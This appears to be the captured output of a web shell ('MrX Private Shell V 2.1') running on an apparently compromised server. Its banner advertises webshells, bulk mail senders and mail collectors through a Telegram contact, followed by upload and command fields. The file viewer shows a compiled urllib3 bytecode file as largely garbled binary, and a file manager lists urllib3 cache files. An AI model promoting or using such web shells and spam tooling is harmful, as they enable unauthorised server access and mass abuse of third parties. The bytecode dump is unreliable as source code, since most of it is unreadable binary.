__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�Bfi:]�� �SSKJr SSKrSSKrSSKrSSKrSSKJr SSKJ	r	 SSK
JrJr SSK
Jr SSKJr SS	KJrJrJr SS
KJrJrJrJr SSKJr SSKJr SS
KJr SSK J!r! SSK"J#r# SSK$J%r%J&r& \RN(a
SSK(r(SSK)J*r* /SQr+\RX"\-5r.Sr/Sr0"SS\Rb5r2SSjr3\Rh"\3\25\Rh"\3\25S.r5\\S.r6"SS\5r7"SS\75r8SSjr9g) �)�annotationsN)�
TracebackType)�urljoin�)�HTTPHeaderDict�RecentlyUsedContainer)�RequestMethods)�ProxyConfig)�HTTPConnectionPool�HTTPSConnectionPool�port_by_scheme)�LocationValueError�
MaxRetryError�ProxySchemeUnknown�URLSchemeUnknown)�BaseHTTPResponse)�_TYPE_SOCKET_OPTIONS)�connection_requires_http_tunnel)�Retry)�Timeout)�Url�	parse_url)�Self)�PoolManager�ProxyManager�proxy_from_url)�key_file�	cert_file�	cert_reqs�ca_certs�ca_cert_data�ssl_version�ssl_minimum_version�ssl_maximum_version�ca_cert_dir�ssl_context�key_password�server_hostnamei@c�<�\rSrSr%SrS\S'S\S'S\S'S\S	'S
\S'S\S
'S\S'S\S'S\S'S\S'S\S'S\S'S\S'S\S'S\S'S\S'S\S'S\S'S\S 'S!\S"'S#\S$'S!\S%'S&\S''S(\S)'S!\S*'S+\S,'S\S-'S\S.'S\S/'S0rg1)2�PoolKey�8z�
All known keyword arguments that could be provided to the pool manager, its
pools, or the underlying connections.

All custom key schemes should include the fields in this key at a minimum.
�str�
key_scheme�key_host�
int | None�key_portzTimeout | float | int | None�key_timeoutzRetry | bool | int | None�key_retrieszbool | None�	key_blockztuple[str, int] | None�key_source_address�
str | None�key_key_file�key_key_password�
key_cert_file�
key_cert_reqs�key_ca_certszstr | bytes | None�key_ca_cert_datazint | str | None�key_ssl_versionzssl.TLSVersion | None�key_ssl_minimum_version�key_ssl_maximum_version�key_ca_cert_dir�ssl.SSLContext | None�key_ssl_context�key_maxsizez!frozenset[tuple[str, str]] | None�key_headers�
Url | None�
key__proxy�key__proxy_headers�ProxyConfig | None�key__proxy_configz_TYPE_SOCKET_OPTIONS | None�key_socket_options�key__socks_optionszbool | str | None�key_assert_hostname�key_assert_fingerprint�key_server_hostname�
key_blocksize�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__annotations__�__static_attributes__rO��5/usr/lib/python3/dist-packages/urllib3/poolmanager.pyr*r*8s�����O��M���-�-�*�*���.�.��� � �������(�(�%�%�2�2�2�2���*�*���2�2���9�9�)�)�3�3�9�9�*�*�&�&�#�#��rWr*c��UR5nUSR5US'USR5US'SH.nX2;dM
X#cM[X#R55X#'M0 UR	S5nUb[U5US'[
UR55HnURU5USU-'M URHnXR;dM
SX%'M UR	S5c	[US'U"S0UD6$)	a�
Create a pool key out of a request context dictionary.

According to RFC 3986, both the scheme and host are case-insensitive.
Therefore, this function normalizes both before constructing the pool
key for an HTTPS request. If you wish to change this behaviour, provide
alternate callables to ``key_fn_by_scheme``.

:param key_class:
    The class to use when constructing the key. This should be a namedtuple
    with the ``scheme`` and ``host`` keys at a minimum.
:type  key_class: namedtuple
:param request_context:
    A dictionary-like object that contain the context for a request.
:type  request_context: dict

:return: A namedtuple that can be used as a connection pool key.
:rtype:  PoolKey
�scheme�host)�headers�_proxy_headers�_socks_optionsN�socket_options�key_rNrO)�copy�lower�	frozenset�items�get�tuple�list�keys�pop�_fields�_DEFAULT_BLOCKSIZE)�	key_class�request_context�context�key�socket_opts�fields      rX�_default_key_normalizerrr_s��.�"�"�$�G���)�/�/�1�G�H���f�o�+�+�-�G�F�O�?���>�g�l�6�$�W�\�%7�%7�%9�:�G�L�?��+�+�.�/�K���$)�+�$6�� �!��G�L�L�N�#�� '���C� 0������$��"�"����!�G�N�#�
�{�{�?�#�+�#5��� ���w��rW��http�httpsc�Z^�\rSrSr%SrSrS\S'SrS\S'SSU4SjjjrSS	jr	SS
jr
SSSjjrSSjrSSS
jjr
SSjrSSjrSS SjjrS!SjrS"SjrS#S$SjjrSrU=r$)%r�a
Allows for arbitrary requests while transparently keeping track of
necessary connection pools for you.

:param num_pools:
    Number of connection pools to cache before discarding the least
    recently used pool.

:param headers:
    Headers to include with all requests, unless other headers are given
    explicitly.

:param \**connection_pool_kw:
    Additional parameters are used to create fresh
    :class:`urllib3.connectionpool.ConnectionPool` instances.

Example:

.. code-block:: python

    import urllib3

    http = urllib3.PoolManager(num_pools=2)

    resp1 = http.request("GET", "https://google.com/")
    resp2 = http.request("GET", "https://google.com/mail")
    resp3 = http.request("GET", "https://yahoo.com/")

    print(len(http.pools))
    # 2

NrD�proxyrG�proxy_configc�B>�[TU]U5 SU;aMUSn[U[5(d3USLn[R"USS9nXTlUR
5nXCS'X0lU [U5Ul	[Ul
[R
5Ulg)N�retriesF��redirect)�super�__init__�
isinstancer�from_int�raise_on_redirectra�connection_pool_kwr�pools�pool_classes_by_scheme�key_fn_by_scheme)�self�	num_poolsr\r�r{r��	__class__s      �rXr�PoolManager.__init__�s����	����!��*�*�(��3�G��g�u�-�-�%,�5�$8�!��.�.��5�A��,=�)�%7�%<�%<�%>�"�07�9�-�"4���*�9�5��
�'=��#� 0� 5� 5� 7��rWc��U$�NrO�r�s rX�	__enter__�PoolManager.__enter__�s���rWc�$�UR5 g)NF)�clear)r��exc_type�exc_val�exc_tbs    rX�__exit__�PoolManager.__exit__�s��	
�
�
��rWc�"�URUnUcURR5nURS5c	[US'SHnURUS5 M US:Xa[HnURUS5 M U"X#40UD6$)a�
Create a new :class:`urllib3.connectionpool.ConnectionPool` based on host, port, scheme, and
any additional pool keyword arguments.

If ``request_context`` is provided, it is provided as keyword arguments
to the pool class used. This method is used to actually create the
connection pools handed out by :meth:`connection_from_url` and
companion methods. It is intended to be overridden for customization.
N�	blocksize)rZr[�portrt)r�r�rarerkri�SSL_KEYWORDS)r�rZr[r�rm�pool_clsro�kws        rX�	_new_pool�PoolManager._new_pool�s��� .2�-H�-H��-P���"�"�5�5�:�:�<�O����{�+�3�+=�O�K�(�.�C�����T�*�.��V��"���#�#�B��-�#���6�o�6�6rWc�8�URR5 g)z�
Empty our store of pools and direct them all to close.

This will not affect in-flight connections, but they will not be
re-used after completion.
N)r�r�r�s rXr��PoolManager.clears��	
�
�
���rWc���U(d[S5eURU5nU=(d SUS'U(d([R"USR	5S5nX%S'XS'URU5$)al
Get a :class:`urllib3.connectionpool.ConnectionPool` based on the host, port, and scheme.

If ``port`` isn't given, it will be derived from the ``scheme`` using
``urllib3.connectionpool.port_by_scheme``. If ``pool_kwargs`` is
provided, it is merged with the instance's ``connection_pool_kw``
variable and used to create the new connection pool, if one is
needed.
zNo host specified.rtrZ�Pr�r[)r�_merge_pool_kwargsr
rerb�connection_from_context)r�r[r�rZ�pool_kwargsrms      rX�connection_from_host� PoolManager.connection_from_host$sv��"�$�%9�:�:��1�1�+�>��$*�$4�f���!��!�%�%�o�h�&?�&E�&E�&G��L�D�"&���"&����+�+�O�<�<rWc��SU;a,[R"S[5 URS5 USR	5nUR
R
U5nU(d[U5eU"U5nURXAS9$)z�
Get a :class:`urllib3.connectionpool.ConnectionPool` based on the request context.

``request_context`` must at least contain the ``scheme`` key and its
value must be a key in ``key_fn_by_scheme`` instance variable.
�strictzdThe 'strict' parameter is no longer needed on Python 3+. This will raise an error in urllib3 v2.1.0.rZ�rm)	�warnings�warn�DeprecationWarningrirbr�rer�connection_from_pool_key)r�rmrZ�pool_key_constructor�pool_keys     rXr��#PoolManager.connection_from_contextAs�����&��M�M�>�"�
�

����)� ��*�0�0�2��#�4�4�8�8��@��#�"�6�*�*�'��8���,�,�X�,�W�WrWc��URR URRU5nU(aUsSSS5 $USnUSnUSnURXEXbS9nX0RU'SSS5 U$!,(df   W$=f)z�
Get a :class:`urllib3.connectionpool.ConnectionPool` based on the provided pool key.

``pool_key`` should be a namedtuple that only contains immutable
objects. At a minimum it must have the ``scheme``, ``host``, and
``port`` fields.
NrZr[r�r�)r��lockrer�)r�r�rm�poolrZr[r�s       rXr��$PoolManager.connection_from_pool_keyZs����Z�Z�_�_��:�:�>�>�(�+�D����_�%�X�.�F�"�6�*�D�"�6�*�D��>�>�&��>�V�D�#'�J�J�x� �����_���s�$A<�-A<�<
Bc�x�[U5nURURURURUS9$)a�
Similar to :func:`urllib3.connectionpool.connection_from_url`.

If ``pool_kwargs`` is not provided and a new pool needs to be
constructed, ``self.connection_pool_kw`` is used to initialize
the :class:`urllib3.connectionpool.ConnectionPool`. If ``pool_kwargs``
is provided, it is used instead. Note that if a new pool does not
need to be created for the request, the provided ``pool_kwargs`` are
not used.
)r�rZr�)rr�r[r�rZ)r��urlr��us    rX�connection_from_url�PoolManager.connection_from_urlts:��
�c�N���(�(�
�F�F�������k�)�
�	
rWc��URR5nU(a%UR5Hup4UcX#	M
XBU'M U$![a M$f=f)z�
Merge a dictionary of override values for self.connection_pool_kw.

This does not modify self.connection_pool_kw and returns a new dict.
Any keys in the override dictionary with a value of ``None`` are
removed from the merged dictionary.
)r�rard�KeyError)r��override�base_pool_kwargsro�values     rXr��PoolManager._merge_pool_kwargs�se�� �2�2�7�7�9���&�n�n�.�
���=��,�1�-2�S�)�/� ���	$����s�A	�	
A�Ac�~�URcg[URURUR5(+$)z�
Indicates if the proxy requires the complete destination URL in the
request.  Normally this is only needed when not using an HTTP CONNECT
tunnel.
F)rxrryrZ)r��
parsed_urls  rX�!_proxy_requires_url_absolute_form�-PoolManager._proxy_requires_url_absolute_form�s:���:�:���2��J�J��)�)�:�+<�+<�
�
�	
rWc���[U5nURc[R"S[SS9 URURURURS9nSUS'SUS'S	U;aURUS	'URU5(aUR"X40UD6nOUR"XR40UD6nU=(a UR5nU(dU$[X(5nURS
:Xa&SnSUS'[US	5R!5US	'UR#S
UR$5n	['U	[(5(d[(R*"X�S9n	U	R,(akUR/U5(dUUS	R15n
US	H5nUR35U	R,;dM#U
R5US5 M7 X�S	'U	R7XXvS9n	X�S
'X4S'[>RASX(5 UR=5 UR"X40UD6$![8a' U	R:(aUR=5 eUs$f=f)a
Same as :meth:`urllib3.HTTPConnectionPool.urlopen`
with custom cross-host redirect logic and only sends the request-uri
portion of the ``url``.

The given ``url`` parameter must be absolute, such that an appropriate
:class:`urllib3.connectionpool.ConnectionPool` can be chosen for it.
Na	URLs without a scheme (ie 'https://') are deprecated and will raise an error in a future version of urllib3. To avoid this DeprecationWarning ensure all URLs start with 'https://' or 'http://'. Read more in this issue: https://github.com/urllib3/urllib3/issues/2920�)�category�
stacklevel)r�rZF�assert_same_hostr}r\i/�GET�bodyr{r|)�response�_poolzRedirecting %s -> %s)!rrZr�r�r�r�r[r�r\r��urlopen�request_uri�get_redirect_locationr�statusr�_prepare_for_method_changerer{r�rr��remove_headers_on_redirect�is_same_hostrarbri�	incrementrr��
drain_conn�log�info)r��methodr�r}r�r��connr��redirect_locationr{�new_headers�headers            rXr��PoolManager.urlopen�s=��
�c�N���8�8���M�M�A�,��

��(�(����a�f�f�Q�X�X�(�N��!&������:���B�� �L�L�B�y�M��1�1�!�4�4��|�|�F�6�2�6�H��|�|�F�M�M�@�R�@�H�$�I��)G�)G�)I�� ��O�$�C�;���?�?�c�!��F��B�v�J�*�2�i�=�9�T�T�V�B�y�M��&�&��H�$4�$4�5���'�5�)�)��n�n�W�@�G�
�-�-�d�6G�6G��7
�7
��Y�-�,�,�.�K��Y�-���<�<�>�W�%G�%G�G��O�O�F�D�1�(�(�y�M�	��'�'��h�'�S�G� �9�
�!�:�����'��@������|�|�F�<��<�<���	��(�(��#�#�%���O�		�s�-H>�>.I/�.I/)r�r�r�r�)�
N)r��intr\�typing.Mapping[str, str] | Noner��
typing.Any�return�None)r�r)r�ztype[BaseException] | Noner�zBaseException | Noner�zTracebackType | Noner�ztyping.Literal[False]r�)
rZr,r[r,r�r�rm�dict[str, typing.Any] | Noner�r)r�r��NrtN�
r[r5r�r/rZr5r�r�r�r)rm�dict[str, typing.Any]r�r)r�r*rmr�r�r)r�r,r�r�r�r)r�r�r�r�)r�rr��bool�T�
r�r,r�r,r}r�r�r�r�r)rPrQrRrSrTrxrUryrr�r�r�r�r�r�r�r�r�r�r�rV�
__classcell__�r�s@rXrr�s�����B�E�:��'+�L�$�+��37�8��8�1�8�)�	8�

�8�8�B��,��&��%�	�

��9=�$7��$7��$7��	$7�
6�$7�
�
$7�L� �#�48�=��=��=��	=�
2�=�
�
=�:X�4�X�	�X�2���2G��	��6EI�
��
�%A�
�	�
�$ �4� �	� �,
�7;�P=��P=� #�P=�/3�P=�BL�P=�	�P=�P=rWrc��^�\rSrSrSrSS	U4SjjjrS
SU4SjjjrSS
SjjrSSU4SjjjrSr	U=r
$)ri�a�
Behaves just like :class:`PoolManager`, but sends all requests through
the defined proxy, using the CONNECT method for HTTPS URLs.

:param proxy_url:
    The URL of the proxy to be used.

:param proxy_headers:
    A dictionary containing headers that will be sent to the proxy. In case
    of HTTP they are being sent with each request, while in the
    HTTPS/CONNECT case they are sent only once. Could be used for proxy
    authentication.

:param proxy_ssl_context:
    The proxy SSL context is used to establish the TLS connection to the
    proxy when using HTTPS proxies.

:param use_forwarding_for_https:
    (Defaults to False) If set to True will forward requests to the HTTPS
    proxy to be made on behalf of the client instead of creating a TLS
    tunnel via the CONNECT method. **Enabling this flag means that request
    and response headers and content will be visible from the HTTPS proxy**
    whereas tunneling keeps request and response headers and content
    private.  IP address, target hostname, SNI, and port are always visible
    to an HTTPS proxy even when this flag is disabled.

:param proxy_assert_hostname:
    The hostname of the certificate to verify against.

:param proxy_assert_fingerprint:
    The fingerprint of the certificate to verify against.

Example:

.. code-block:: python

    import urllib3

    proxy = urllib3.ProxyManager("https://localhost:3128/")

    resp1 = proxy.request("GET", "https://google.com/")
    resp2 = proxy.request("GET", "https://httpbin.org/")

    print(len(proxy.pools))
    # 1

    resp3 = proxy.request("GET", "https://httpbin.org/")
    resp4 = proxy.request("GET", "https://twitter.com/")

    print(len(proxy.pools))
    # 3

c	�B>�[U[5(a)URSURSUR3n
OUn
[U
5nURS;a[
UR5eUR(d0[R"URS5nURUS9nX�l
U=(d 0UlXPl[UUUU5UlURU	S'URU	S'URU	S'[T
U]@"X#40U	D6 g)	Nz://�:rsr�)r��_proxyr]�
_proxy_config)r�rrZr[r�rrr
re�_replacerx�
proxy_headers�proxy_ssl_contextr
ryr~r)r��	proxy_urlr�r\r�r��use_forwarding_for_https�proxy_assert_hostname�proxy_assert_fingerprintr��
str_proxy_urlrxr�r�s             �rXr�ProxyManager.__init__3s
����i�!3�4�4�(�/�/�0��I�N�N�3C�1�Y�^�^�DT�U�M�%�M��-�(���<�<�0�0�$�U�\�\�2�2��z�z�!�%�%�e�l�l�B�7�D��N�N��N�-�E��
�*�0�b���!2��'��$�!�$�	
���(,�z�z��8�$�/3�/A�/A��+�,�.2�.?�.?��?�+�
����B�/A�BrWc��>�US:Xa[TU]XX4S9$[TU]URRURRURR
US9$)Nru)r�)r~r�rxr[r�rZ)r�r[r�rZr�r�s     �rXr��!ProxyManager.connection_from_host\se����W���7�/��F�0��
��w�+��J�J�O�O�T�Z�Z�_�_�d�j�j�.?�.?�[�,�
�	
rWc�~�SS0n[U5RnU(aXCS'U(aURU5 U$)zx
Sets headers needed by proxies: specifically, the Accept and Host
headers. Only sets headers not provided by the user.
�Acceptz*/*�Host)r�netloc�update)r�r�r\�headers_rs     rX�_set_proxy_headers�ProxyManager._set_proxy_headersls<���e�$���3��&�&���%�V����O�O�G�$��rWc�>�[U5n[URURUR5(d0URSUR5nURX&5US'[TU]$"X4SU0UD6$)z@Same as HTTP(S)ConnectionPool.urlopen, ``url`` must be absolute.r\r})
rrrxryrZrer\rr~r�)r�r�r�r}r�r�r\r�s       �rXr��ProxyManager.urlopen}sn���
�c�N��.�t�z�z�4�;L�;L�a�h�h�W�W��f�f�Y����5�G� �3�3�C�A�B�y�M��w��v�D�X�D��D�DrW)rxryr�r�)r�NNNFNN)r�r,r�r�r\r�r�r�r�r@r�r�r�z"None | str | typing.Literal[False]r�r5r�r�r�r�r�r�r�)r�r,r\r�r�ztyping.Mapping[str, str]r�r�)rPrQrRrSrTrr�rr�rVr�r�s@rXrr�sA���4�r�37�9=�37�).�DH�/3�'C��'C��'C�1�	'C�
7�'C�1�
'C�#'�'C� B�'C�#-�'C�)�'C�
�'C�'C�X �#�48�
��
��
��	
�
2�
�
�

�
�"DH����!@��	!��$7;�E��E� #�E�/3�E�BL�E�	�E�ErWrc��[SSU0UD6$)Nr�rO)r)r�r�s  rXrr�s���,�#�,��,�,rW)rlz
type[PoolKey]rmr�r�r*)r�r,r�r�r�r):�
__future__r�	functools�logging�typingr��typesr�urllib.parser�_collectionsrr�_request_methodsr	�
connectionr
�connectionpoolrrr
�
exceptionsrrrrr�r�util.connectionr�
util.proxyr�
util.retryr�util.timeoutr�util.urlrr�
TYPE_CHECKING�ssl�typing_extensionsr�__all__�	getLoggerrPr�r�rk�
NamedTupler*rr�partialr�r�rrrrOrWrX�<module>r s��"���
��� �?�,�#�S�S���'�1�7��!�$�	����&�
;������!��
�� ��$�f���$�N4 ��4 �/D�4 ��4 �x
���5�w�?�
�
�
�6��
@���
#5�?R�S��W=�.�W=�t
ME�;�ME�`-rW

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 6.92 KB 0644
_base_connection.cpython-313.pyc File 6.77 KB 0644
_collections.cpython-313.pyc File 22.09 KB 0644
_request_methods.cpython-313.pyc File 9.69 KB 0644
_version.cpython-313.pyc File 618 B 0644
connection.cpython-313.pyc File 35.66 KB 0644
connectionpool.cpython-313.pyc File 38.17 KB 0644
exceptions.cpython-313.pyc File 16.47 KB 0644
fields.cpython-313.pyc File 11.3 KB 0644
filepost.cpython-313.pyc File 3.38 KB 0644
poolmanager.cpython-313.pyc File 23.38 KB 0644
response.cpython-313.pyc File 58.05 KB 0644
Filemanager